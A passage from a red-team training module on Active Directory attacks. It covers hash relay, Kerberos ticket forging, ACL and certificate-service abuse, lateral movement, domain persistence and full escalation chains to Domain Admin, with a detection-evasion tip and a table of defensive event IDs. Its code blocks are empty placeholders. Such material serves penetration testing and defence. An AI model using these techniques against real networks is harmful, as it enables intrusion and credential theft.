**Detection bypass:** Stay at 1 attempt per account per 30 minutes. Check the domain's `lockoutThreshold` via `net accounts /domain`.

---

### 2.2 NTLM Hash Capture & Relay

**What it is:** Capturing NTLMv2 challenge-response hashes in transit and either cracking them offline or relaying them to authenticate elsewhere.

**How attackers spot it:**
- LLMNR / NBT-NS still enabled (default on older Windows)
- SMB signing **not required** (check with `nmap --script smb-security-mode`)
- NTLM still enabled network-wide

**How they abuse it:**
{{CODE_BLOCK_57}}

---

### 2.3 Pass-the-Hash (PtH)

**What it is:** Using an NTLM hash directly to authenticate without knowing the plaintext password.

**How attackers spot it:** Dump hashes from SAM, LSASS, or NTDS.dit. PtH works on **any host where that account has access** as long as it's a local or domain account.

**How they abuse it:**
{{CODE_BLOCK_58}}

---

### 2.4 Pass-the-Ticket (PtT)

**What it is:** Stealing a valid Kerberos ticket (TGT or TGS) from memory and injecting it to authenticate as that user.

**How attackers spot it:** Any user is logged in somewhere. If an attacker has SYSTEM on that machine, they can dump tickets.

**How they abuse it:**
{{CODE_BLOCK_59}}

---

## 3. Kerberos Abuse

### 3.1 Kerberoasting

**What it is:** Any domain user can request a service ticket (TGS) for any account with a Service Principal Name (SPN). That ticket is encrypted with the service account's NTLM hash — attackable offline.

**How attackers spot it:**
{{CODE_BLOCK_60}}
High-value targets: accounts with `SPN` set AND high privileges (e.g., `svc_sql`, `svc_backup`).

**How they abuse it:**
{{CODE_BLOCK_61}}
**Why it matters:** Service accounts often have weak passwords set years ago and never rotated. Cracking gives a valid domain credential — sometimes with admin rights.

---

### 3.2 AS-REP Roasting

**What it is:** Accounts with **"Do not require Kerberos preauthentication"** enabled send an AS-REP encrypted with their password hash — without the attacker needing to authenticate first.

**How attackers spot it:**
{{CODE_BLOCK_62}}

**How they abuse it:**
{{CODE_BLOCK_63}}

---

### 3.3 Golden Ticket

**What it is:** A forged TGT signed with the **KRBTGT account's hash**. Valid for any user, any service, any machine — essentially unlimited domain access.

**How attackers spot the opportunity:** After obtaining Domain Admin or DCSync rights, dump the KRBTGT hash.

**How they abuse it:**
{{CODE_BLOCK_64}}
**Why it matters:** Golden tickets can be set to expire in 10+ years and survive password resets of regular accounts (only KRBTGT reset kills them).

---

### 3.4 Silver Ticket

**What it is:** A forged TGS for a **specific service** signed with the service account's hash — bypasses the DC entirely.

**How they abuse it:**
{{CODE_BLOCK_65}}

---

### 3.5 Unconstrained Delegation

**What it is:** Computers/accounts configured with **Unconstrained Delegation** cache TGTs of every user who authenticates to them. An attacker with SYSTEM on such a host can steal those TGTs — including the DC's machine account TGT.

**How attackers spot it:**
{{CODE_BLOCK_66}}

**How they abuse it (PrinterBug / SpoolSample):**
{{CODE_BLOCK_67}}

---

### 3.6 Constrained Delegation Abuse

**What it is:** Accounts/computers allowed to delegate to specific services (S4U2Proxy). If an attacker controls the delegating account, they can impersonate **any user** to the allowed service.

**How attackers spot it:**
{{CODE_BLOCK_68}}

**How they abuse it:**
{{CODE_BLOCK_69}}

---

## 4. ACL / ACE Abuse

### What It Is
Active Directory objects have Access Control Lists (ACLs) with Access Control Entries (ACEs). Misconfigurations allow low-privileged users to modify high-privileged objects — users, groups, GPOs, computers.

### How Attackers Spot It
BloodHound is the primary tool — query: *"Find Shortest Paths to Domain Admins"*. Common abusable ACEs:

| ACE | What It Allows |
|-----|---------------|
| `GenericAll` | Full control over object |
| `GenericWrite` | Write any attribute |
| `WriteOwner` | Take ownership |
| `WriteDACL` | Modify the ACL itself |
| `ForceChangePassword` | Reset password without knowing current one |
| `AddMember` | Add users to a group |
| `AllExtendedRights` | Includes force-change-password |

### How They Abuse It

**Reset a user's password (ForceChangePassword):**
{{CODE_BLOCK_70}}

**Add self to a group (AddMember / GenericAll on group):**
{{CODE_BLOCK_71}}

**WriteDACL → grant self DCSync rights:**
{{CODE_BLOCK_72}}

**DCSync** (once DCSync ACE is granted):
{{CODE_BLOCK_73}}

---

## 5. Active Directory Certificate Services (AD CS)

### What It Is
AD CS issues X.509 certificates for authentication, encryption, and code signing. Certificate templates with weak settings are a direct path to credential theft and persistence.

### ESC1 — Misconfigured Certificate Templates

**How attackers spot it:**
{{CODE_BLOCK_74}}
Look for templates where:
- `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` is set (requester controls the SAN)
- `Client Authentication` EKU is present
- Low-privileged users have Enroll rights

**How they abuse it:**
{{CODE_BLOCK_75}}

### ESC8 — NTLM Relay to AD CS HTTP Enrollment

**How attackers spot it:** AD CS web enrollment endpoint (`/certsrv`) running over HTTP (no HTTPS required), combined with a coercion opportunity.

**How they abuse it:**
{{CODE_BLOCK_76}}

---

## 6. Group Policy Abuse

### What It Is
Group Policy Objects (GPOs) control configuration across the domain. If an attacker can **write** to a GPO that applies to high-value machines or users, they can deploy malicious settings.

### How Attackers Spot It
{{CODE_BLOCK_77}}

**BloodHound:** Query *"Find GPO Objects Where Domain Users Can Modify"*

### How They Abuse It
{{CODE_BLOCK_78}}

---

## 7. Lateral Movement via Windows Services

### 7.1 WinRM / PowerShell Remoting

**How attackers spot it:**
{{CODE_BLOCK_79}}

**How they abuse it:**
{{CODE_BLOCK_80}}

---

### 7.2 WMI Lateral Movement

**How attackers spot it:** WMI is enabled by default. If an account has local admin, WMI is a valid remote execution path.

**How they abuse it:**
{{CODE_BLOCK_81}}

---

### 7.3 DCOM Lateral Movement

**How attackers spot it:** DCOM objects (MMC20, ShellWindows, ShellBrowserWindow) allow remote code execution when local admin access exists.

**How they abuse it:**
{{CODE_BLOCK_82}}

---

### 7.4 SCM / Remote Service Creation (PsExec-style)

**How attackers spot it:** SMB port 445 open, admin share (`\\TARGET\ADMIN$`) accessible, SMB signing off or credentials available.

**How they abuse it:**
{{CODE_BLOCK_83}}

---

## 8. Domain Persistence

### 8.1 DCSync (Simulated Domain Replication)

**What it is:** Any account with `Replicating Directory Changes` + `Replicating Directory Changes All` rights can pull password hashes from the DC via DRSUAPI — no shell on the DC needed.

{{CODE_BLOCK_84}}

---

### 8.2 AdminSDHolder Abuse

**What it is:** `AdminSDHolder` is a template object whose ACL is propagated to all protected groups (Domain Admins, etc.) by the `SDProp` process every 60 minutes.

**How they abuse it:** Write a malicious ACE to `AdminSDHolder` → it automatically propagates to protected groups.
{{CODE_BLOCK_85}}

---

### 8.3 DSRM Backdoor

**What it is:** The Directory Services Restore Mode (DSRM) account is a local admin on DCs that can be used even when the domain is down. Its hash can be configured to allow network logon.

{{CODE_BLOCK_86}}

---

### 8.4 Skeleton Key

**What it is:** A patch injected into LSASS on a DC that makes ANY account accept a master password (`mimikatz` by default) in addition to their real password. Does NOT survive reboots.

{{CODE_BLOCK_87}}

---

## 9. Trust Relationship Abuse

### What It Is
Domain trusts allow users in one domain to access resources in another. Misconfigurations or design weaknesses allow attackers to escalate across domains or forests.

### How Attackers Spot It
{{CODE_BLOCK_88}}

### SID History Injection (Cross-Domain Privilege Escalation)

**How they abuse it:** If a bidirectional or outbound trust exists and SID filtering is disabled, inject a DA SID from the target domain into the `SID History` attribute of an account in the source domain.
{{CODE_BLOCK_89}}

---

## 10. Common Attack Chains (Full Paths)

### Chain A: Standard User → Domain Admin via Kerberoasting
{{CODE_BLOCK_90}}

---

### Chain B: Standard User → Domain Admin via ACL Abuse
{{CODE_BLOCK_91}}

---

### Chain C: No Credentials → Domain Admin via AD CS (ESC8)
{{CODE_BLOCK_92}}

---

### Chain D: Local Admin → Domain Admin via Unconstrained Delegation
{{CODE_BLOCK_93}}

---

### Chain E: Standard User → Domain Admin via GPO Write
{{CODE_BLOCK_94}}

---

## Quick Reference: Detection Artefacts

| Attack | Key Windows Event IDs |
|--------|----------------------|
| Kerberoasting | 4769 (TGS request, RC4 encryption) |
| AS-REP Roasting | 4768 (AS-REQ without preauthentication) |
| DCSync | 4662 (replication right used on domain object) |
| Golden Ticket | 4624 (logon), 4672, anomalous TGT lifetime |
| Pass-the-Hash | 4624 (logon type 3, NTLM auth) |
| Unconstrained Delegation coercion | 4768 from unexpected source IP |
| AdminSDHolder modification | 5136 (directory object modified) |
| Skeleton Key | Mimikatz process on DC, LSASS patch |
| LLMNR/NBT-NS Poisoning | Network traffic analysis (not event log) |
| AD CS abuse | 4886, 4887 (cert issued/requested) |

---

## Tools Summary

| Tool | Purpose |
|------|---------|
| **BloodHound / SharpHound** | AD graph enumeration and attack path analysis |
| **PowerView** | AD reconnaissance and exploitation |
| **Rubeus** | Kerberos ticket manipulation (roasting, ptt, pth) |
| **Mimikatz** | Credential dumping, ticket forging, DCSync |
| **Certipy** | AD CS enumeration and exploitation |
| **NetExec** | Swiss-army knife for network pentesting |
| **Impacket** | Python suite: psexec, secretsdump, ntlmrelayx, etc. |
| **Responder** | LLMNR/NBT-NS poisoning and hash capture |
| **SharpGPOAbuse** | GPO-based lateral movement |
| **Kerbrute** | Password spraying and user enumeration |

---

*Document: Red Teaming 101 — Module 2.1 | For authorized penetration testing and security research only.*